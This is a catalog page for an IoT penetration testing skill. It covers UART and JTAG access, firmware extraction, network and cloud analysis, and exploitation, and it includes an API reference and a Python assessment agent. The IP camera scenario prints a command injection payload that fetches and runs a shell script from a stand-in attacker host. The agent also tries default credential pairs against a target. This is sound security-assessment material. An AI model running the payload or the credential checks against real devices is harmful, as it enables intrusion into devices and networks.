penetration testing

Performing IoT Security Assessment

Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.

embedded-systemsfirmware-analysishardware-hackingiot-securityuart-jtag
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • Evaluating the security of IoT devices before deployment in enterprise or critical infrastructure environments
  • Assessing consumer IoT products for security vulnerabilities as part of product security review or certification
  • Testing industrial IoT (IIoT) devices for vulnerabilities that could affect operational technology environments
  • Analyzing firmware for backdoors, hardcoded credentials, and known vulnerabilities in embedded components
  • Evaluating the security of the complete IoT ecosystem including device, cloud backend, and mobile companion app

Do not use against IoT devices without written authorization, for modifying firmware on devices you do not own, or against medical devices or safety-critical systems without specific medical device testing authorization and safety protocols.

Prerequisites

  • Physical access to the target IoT device(s) for hardware analysis and testing
  • Hardware tools: USB-to-UART adapter (FTDI), Bus Pirate, logic analyzer, JTAG debugger (Segger J-Link), SPI flash programmer (CH341A)
  • Firmware analysis tools: Binwalk, Firmwalker, Firmware Analysis Toolkit (FAT), Ghidra, QEMU for emulation
  • Network analysis: Wireshark, tcpdump, Bluetooth tools (Ubertooth, nRF Connect), Zigbee tools (KillerBee)
  • Soldering equipment for accessing hardware debug points if needed

Workflow

Step 1: Device Reconnaissance and Hardware Analysis

Examine the physical device and identify attack surfaces:

  • External inspection: Document all physical interfaces (USB, Ethernet, serial ports, SD card slots), labels, FCC ID, and model numbers
  • FCC ID lookup: Search the FCC database (fcc.gov/oet/ea/fccid) using the FCC ID to find internal photos, schematics, and radio frequency information
  • PCB analysis: Open the device enclosure and photograph the PCB. Identify:
    • Main processor/SoC (read markings, search datasheet)
    • Flash memory chips (SPI NOR, NAND, eMMC)
    • Debug headers and test points
    • UART/JTAG/SWD pins (look for 4-pin or 10-pin headers, or unpopulated pads)
  • UART identification: Use a multimeter to identify UART pins (TX, RX, GND, VCC). Connect USB-to-UART adapter and attempt serial console access at common baud rates (9600, 38400, 57600, 115200)
  • JTAG identification: Use JTAGulator or manual probing to identify JTAG pins (TCK, TMS, TDI, TDO, TRST). Connect JTAG debugger for memory access and debugging.

Step 2: Firmware Extraction and Analysis

Extract and analyze the device firmware:

  • Firmware acquisition methods:
    • Download from manufacturer website or update server
    • Extract from flash memory using SPI programmer: connect CH341A to SPI flash, read with flashrom -p ch341a_spi -r firmware.bin
    • Capture over-the-air updates via network interception
    • Extract from UART bootloader console (U-Boot: md.b memory dump)
  • Firmware unpacking: binwalk -e firmware.bin to extract filesystem, kernel, and bootloader components
  • Filesystem analysis:
    • Search for credentials: grep -rn "password\|passwd\|secret\|key" squashfs-root/
    • Examine /etc/shadow for password hashes
    • Review startup scripts in /etc/init.d/ for insecure service configurations
    • Identify web server configurations and CGI scripts for web interface vulnerabilities
    • Use Firmwalker: ./firmwalker.sh squashfs-root/ for automated sensitive data discovery
  • Binary analysis: Use Ghidra to reverse engineer key binaries (web server, management daemon, authentication modules) for hardcoded credentials, command injection, and buffer overflow vulnerabilities
  • Known vulnerability scanning: Extract software versions and cross-reference with CVE databases. Use firmware-analysis-toolkit for automated CVE scanning.

Step 3: Network Communication Analysis

Analyze all network traffic from the IoT device:

  • Traffic capture: Connect the device to a network with traffic mirroring (SPAN port) or use an inline transparent bridge. Capture all traffic with Wireshark.
  • Protocol analysis: Identify all protocols used (HTTP, HTTPS, MQTT, CoAP, AMQP, custom TCP/UDP). Check for unencrypted sensitive data transmission.
  • TLS analysis: Verify TLS implementation: certificate validation, cipher suite strength, certificate pinning. Attempt MITM interception with Burp Suite.
  • Cloud API analysis: Intercept device-to-cloud communication to identify API endpoints, authentication methods, and data transmitted. Test for IDOR, authentication bypass, and excessive data exposure.
  • Bluetooth/BLE testing: Use nRF Connect or Ubertooth to enumerate BLE services and characteristics. Test for unauthenticated access, plaintext data transmission, and static pairing keys.
  • Zigbee/Z-Wave testing: Use KillerBee framework to capture and analyze Zigbee traffic, test for replay attacks, and check key exchange security.

Step 4: Firmware Emulation and Dynamic Testing

Emulate the firmware for dynamic security testing:

  • QEMU emulation: Use FirmAE or Firmadyne to emulate the extracted firmware: python3 fat.py firmware.bin to boot the firmware in an emulated environment
  • Web interface testing: Access the device's web management interface from the emulated environment and test for:
    • Default credentials (admin:admin, root:root, admin:password)
    • Command injection in configuration parameters
    • Authentication bypass via direct URL access
    • Cross-site scripting in all input fields
    • CSRF in state-changing operations
  • Service testing: Use Nmap to scan the emulated device for all open ports and test each service for known vulnerabilities
  • Fuzzing: Fuzz network services using Boofuzz or AFL to discover memory corruption vulnerabilities in embedded services

Step 5: Exploitation and Impact Demonstration

Exploit identified vulnerabilities to demonstrate impact:

  • Remote code execution: Chain discovered vulnerabilities (command injection, buffer overflow) to achieve remote code execution on the device
  • Credential extraction: Extract and crack credentials found in firmware, memory dumps, or network captures
  • Lateral movement: Demonstrate how a compromised IoT device can be used to attack other devices on the network
  • Persistence: Show how an attacker could maintain access to the device across firmware updates or reboots
  • Physical impact: For IIoT devices, demonstrate the potential for physical manipulation (changing sensor readings, modifying actuator commands)

Key Concepts

Term Definition
UART Universal Asynchronous Receiver/Transmitter; a serial communication interface commonly used for debug consoles on embedded devices, often providing root shell access
JTAG Joint Test Action Group; a hardware debugging interface that provides direct access to the processor for memory reading, code debugging, and firmware extraction
Firmware The software embedded in the device's flash memory that controls its operation, typically consisting of a bootloader, operating system kernel, and root filesystem
Binwalk A firmware analysis tool that identifies and extracts embedded file systems, compressed archives, and binary components from firmware images
MQTT Message Queuing Telemetry Transport; a lightweight publish/subscribe protocol commonly used for IoT device communication, often deployed without authentication
BLE Bluetooth Low Energy; a wireless protocol used by many IoT devices for short-range communication, susceptible to eavesdropping and unauthorized access if not properly secured

Tools & Systems

  • Binwalk: Firmware extraction and analysis tool that identifies file system types, compression formats, and embedded data within firmware images
  • Ghidra: NSA's open-source reverse engineering framework for analyzing embedded device binaries across ARM, MIPS, and other architectures
  • FirmAE/Firmadyne: Automated firmware emulation platforms that boot extracted Linux-based IoT firmware in QEMU for dynamic testing
  • Bus Pirate: Hardware hacking multi-tool supporting UART, SPI, I2C, and JTAG protocols for interfacing with embedded device debug interfaces
  • Wireshark: Network protocol analyzer for capturing and analyzing IoT device network traffic across all protocol layers

Common Scenarios

Scenario: Enterprise IP Camera Security Assessment

Context: A company plans to deploy 200 IP cameras from a single vendor across its offices. Before deployment, the security team requests a penetration test of the camera to identify vulnerabilities that could be exploited to gain access to the corporate network.

Approach:

  1. Open the camera and identify UART pins on the PCB; connect and access a root shell at 115200 baud with no password
  2. Extract firmware from the SPI flash chip and analyze with Binwalk: discover embedded Linux with BusyBox, lighttpd web server, and custom management daemon
  3. Find hardcoded credentials in /etc/shadow (root:$1$abc$hashedpassword) and crack the MD5 hash in seconds (password: camera123)
  4. Web interface testing reveals command injection in the NTP server configuration field: ; wget http://attacker.com/shell.sh | sh
  5. Network analysis shows the camera sends RTSP streams unencrypted and has ONVIF services exposed without authentication
  6. Demonstrate pivoting: from the compromised camera, scan the corporate network and access 3 internal servers
  7. Report recommends network segmentation, firmware vendor engagement, and deployment of cameras on an isolated VLAN

Pitfalls:

  • Focusing only on the web interface and missing UART/JTAG access that provides a root shell with no authentication
  • Not analyzing the firmware for hardcoded credentials that may be shared across all devices of the same model
  • Testing the device in isolation and missing network-level risks from deploying vulnerable devices on the corporate network
  • Overlooking the cloud connectivity and mobile app components that may expose additional attack surfaces

Output Format

## Finding: Unauthenticated Root Shell via UART Debug Interface
 
**ID**: IOT-001
**Severity**: Critical (CVSS 9.0)
**Device**: ModelCam X200 IP Camera (Firmware v3.2.1)
**Interface**: UART serial console (115200 baud, 8N1)
 
**Description**:
The IP camera exposes a UART serial interface on the PCB that provides
direct root shell access without authentication. An attacker with physical
access to the device can connect a USB-to-UART adapter and obtain full
root access to the embedded Linux operating system.
 
**Proof of Concept**:
1. Opened device enclosure (4 Philips screws, no tamper detection)
2. Connected FTDI adapter to UART pins (J3 header on PCB)
3. Serial terminal at 115200 8N1: immediate root shell prompt
4. root@camera:~# id -> uid=0(root) gid=0(root)
 
**Additional Findings from Root Access**:
- /etc/shadow contains hardcoded root password (camera123) shared across all units
- WiFi credentials for any configured network stored in plaintext at /etc/wireless.conf
- RTSP stream accessible without authentication on port 554
 
**Impact**:
Physical access to any deployed camera grants root access to the network.
With 200 cameras deployed across offices, each camera becomes a potential
network entry point with root-level command execution capability.
 
**Remediation**:
1. Disable UART console access or require authentication in production firmware
2. Remove hardcoded credentials; use per-device unique passwords generated at manufacture
3. Encrypt stored WiFi credentials using a hardware-backed key
4. Deploy cameras on an isolated VLAN with no access to the corporate network
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.7 KB

API Reference: IoT Security Assessment

Tools CLI Reference

Tool Command Description
nmap nmap -sV -sC -p- <target> Full port scan with version detection
binwalk binwalk -eM <firmware> Recursive firmware extraction
tcpdump tcpdump -i <iface> host <ip> -w <pcap> Packet capture from device
openssl openssl s_client -connect <ip>:<port> TLS certificate inspection
flashrom flashrom -p ch341a_spi -r <output> SPI flash memory dump

Firmwalker (Firmware Scanner)

./firmwalker.sh <extracted_fs_root>/
# Scans for: passwords, keys, URLs, IPs, emails, config files

FirmAE / Firmadyne (Firmware Emulation)

python3 fat.py <firmware.bin>
# Boots extracted Linux firmware in QEMU for dynamic testing

Python Libraries

Library Version Purpose
subprocess stdlib Execute nmap, binwalk, tcpdump commands
hashlib stdlib Firmware integrity hashing
paho-mqtt >=1.6 MQTT protocol testing for unauthenticated access

Common IoT Protocols & Ports

Protocol Port Security Concern
MQTT 1883/8883 Often unauthenticated, subscribe to #
CoAP 5683 UDP-based, usually no authentication
UPnP 1900 Service discovery, often exposes admin
RTSP 554 Video streams, frequently unauthenticated
Telnet 23 Plaintext credentials

References

Scripts 1

agent.py8.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for performing IoT security assessment.

Automates IoT device reconnaissance, firmware extraction with binwalk,
network traffic analysis, and service scanning for security testing.
"""

import subprocess
import json
import sys
import hashlib
from pathlib import Path


class IoTSecurityAgent:
    """Performs automated IoT device security assessments."""

    def __init__(self, target_ip, output_dir):
        self.target_ip = target_ip
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(parents=True, exist_ok=True)

    def scan_services(self):
        """Scan target for open services using nmap."""
        result = subprocess.run(
            ["nmap", "-sV", "-sC", "-p-", "-oJ", "-", self.target_ip],
            capture_output=True, text=True, timeout=300,
        )
        services = []
        for line in result.stdout.splitlines():
            if "/tcp" in line or "/udp" in line:
                parts = line.split()
                if len(parts) >= 3:
                    services.append({
                        "port": parts[0],
                        "state": parts[1],
                        "service": " ".join(parts[2:]),
                    })
        return {"target": self.target_ip, "services": services, "raw": result.stdout}

    def check_default_credentials(self):
        """Test common default credentials against discovered services."""
        default_creds = [
            ("admin", "admin"), ("admin", "password"), ("admin", "1234"),
            ("root", "root"), ("root", "admin"), ("root", "password"),
            ("admin", ""), ("user", "user"), ("guest", "guest"),
        ]
        results = []
        for username, password in default_creds:
            result = subprocess.run(
                ["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
                 "-u", f"{username}:{password}",
                 f"http://{self.target_ip}/", "--max-time", "5"],
                capture_output=True, text=True,
                timeout=120,
            )
            status = result.stdout.strip()
            if status in ("200", "301", "302"):
                results.append({
                    "username": username,
                    "password": password,
                    "status": status,
                    "vulnerable": True,
                })
        return results

    def analyze_firmware(self, firmware_path):
        """Analyze firmware image with binwalk."""
        fw_path = Path(firmware_path)
        if not fw_path.exists():
            return {"error": f"Firmware file not found: {firmware_path}"}

        sha256 = hashlib.sha256(fw_path.read_bytes()).hexdigest()
        scan_result = subprocess.run(
            ["binwalk", str(fw_path)], capture_output=True, text=True,
            timeout=120,
        )
        extract_dir = self.output_dir / "firmware_extracted"
        subprocess.run(
            ["binwalk", "-eM", "-C", str(extract_dir), str(fw_path)],
            capture_output=True, text=True,
            timeout=120,
        )

        creds_found = []
        for root, dirs, files in (extract_dir).rglob("*") if extract_dir.exists() else []:
            pass

        if extract_dir.exists():
            grep_result = subprocess.run(
                ["grep", "-rn", "-i", "password\\|passwd\\|secret",
                 str(extract_dir)],
                capture_output=True, text=True,
                timeout=120,
            )
            for line in grep_result.stdout.splitlines()[:20]:
                creds_found.append(line.strip())

        return {
            "sha256": sha256,
            "size": fw_path.stat().st_size,
            "binwalk_scan": scan_result.stdout,
            "credentials_found": creds_found,
            "extract_dir": str(extract_dir),
        }

    def capture_traffic(self, interface="eth0", duration=30):
        """Capture network traffic from the IoT device."""
        pcap_path = self.output_dir / "iot_capture.pcap"
        subprocess.run(
            ["timeout", str(duration), "tcpdump", "-i", interface,
             f"host {self.target_ip}", "-w", str(pcap_path)],
            capture_output=True, timeout=duration + 10,
        )
        if pcap_path.exists():
            stats = subprocess.run(
                ["capinfos", str(pcap_path)], capture_output=True, text=True,
                timeout=120,
            )
            return {"pcap": str(pcap_path), "stats": stats.stdout}
        return {"error": "Capture failed"}

    def check_tls_configuration(self, port=443):
        """Check TLS configuration on HTTPS services."""
        result = subprocess.run(
            ["openssl", "s_client", "-connect", f"{self.target_ip}:{port}",
             "-brief"],
            input="", capture_output=True, text=True, timeout=10,
        )
        tls_info = {
            "raw": result.stdout + result.stderr,
            "self_signed": "self signed" in (result.stdout + result.stderr).lower(),
        }

        for line in (result.stdout + result.stderr).splitlines():
            if "Protocol" in line:
                tls_info["protocol"] = line.strip()
            if "Cipher" in line:
                tls_info["cipher"] = line.strip()
        return tls_info

    def check_upnp_exposure(self):
        """Check for UPnP service exposure."""
        result = subprocess.run(
            ["nmap", "-sU", "-p", "1900", "--script=upnp-info", self.target_ip],
            capture_output=True, text=True, timeout=30,
        )
        return {
            "upnp_detected": "upnp" in result.stdout.lower(),
            "output": result.stdout,
        }

    def check_mqtt(self, port=1883):
        """Check for unauthenticated MQTT access."""
        try:
            import paho.mqtt.client as mqtt
            connected = False
            topics = []

            def on_connect(client, userdata, flags, rc):
                nonlocal connected
                connected = rc == 0
                if connected:
                    client.subscribe("#")

            def on_message(client, userdata, msg):
                topics.append({"topic": msg.topic, "payload_len": len(msg.payload)})

            client = mqtt.Client()
            client.on_connect = on_connect
            client.on_message = on_message
            client.connect(self.target_ip, port, 5)
            client.loop_start()
            import time
            time.sleep(5)
            client.loop_stop()
            client.disconnect()

            return {
                "unauthenticated_access": connected,
                "topics_found": len(topics),
                "sample_topics": topics[:10],
            }
        except Exception as e:
            return {"error": str(e)}

    def generate_report(self, firmware_path=None):
        """Run full IoT security assessment and generate report."""
        report = {"target": self.target_ip, "findings": []}

        services = self.scan_services()
        report["services"] = services

        creds = self.check_default_credentials()
        if creds:
            report["findings"].append({
                "id": "IOT-001", "severity": "Critical",
                "title": "Default Credentials Accepted",
                "details": creds,
            })

        tls = self.check_tls_configuration()
        if tls.get("self_signed"):
            report["findings"].append({
                "id": "IOT-002", "severity": "Medium",
                "title": "Self-Signed TLS Certificate",
                "details": tls,
            })

        if firmware_path:
            fw = self.analyze_firmware(firmware_path)
            report["firmware_analysis"] = fw
            if fw.get("credentials_found"):
                report["findings"].append({
                    "id": "IOT-003", "severity": "Critical",
                    "title": "Hardcoded Credentials in Firmware",
                    "count": len(fw["credentials_found"]),
                })

        report_path = self.output_dir / "iot_assessment_report.json"
        with open(report_path, "w") as f:
            json.dump(report, f, indent=2)
        print(json.dumps(report, indent=2))
        return report


def main():
    if len(sys.argv) < 3:
        print("Usage: agent.py <target_ip> <output_dir> [firmware_path]")
        sys.exit(1)

    target_ip = sys.argv[1]
    output_dir = sys.argv[2]
    firmware_path = sys.argv[3] if len(sys.argv) > 3 else None

    agent = IoTSecurityAgent(target_ip, output_dir)
    agent.generate_report(firmware_path)


if __name__ == "__main__":
    main()
Keep exploring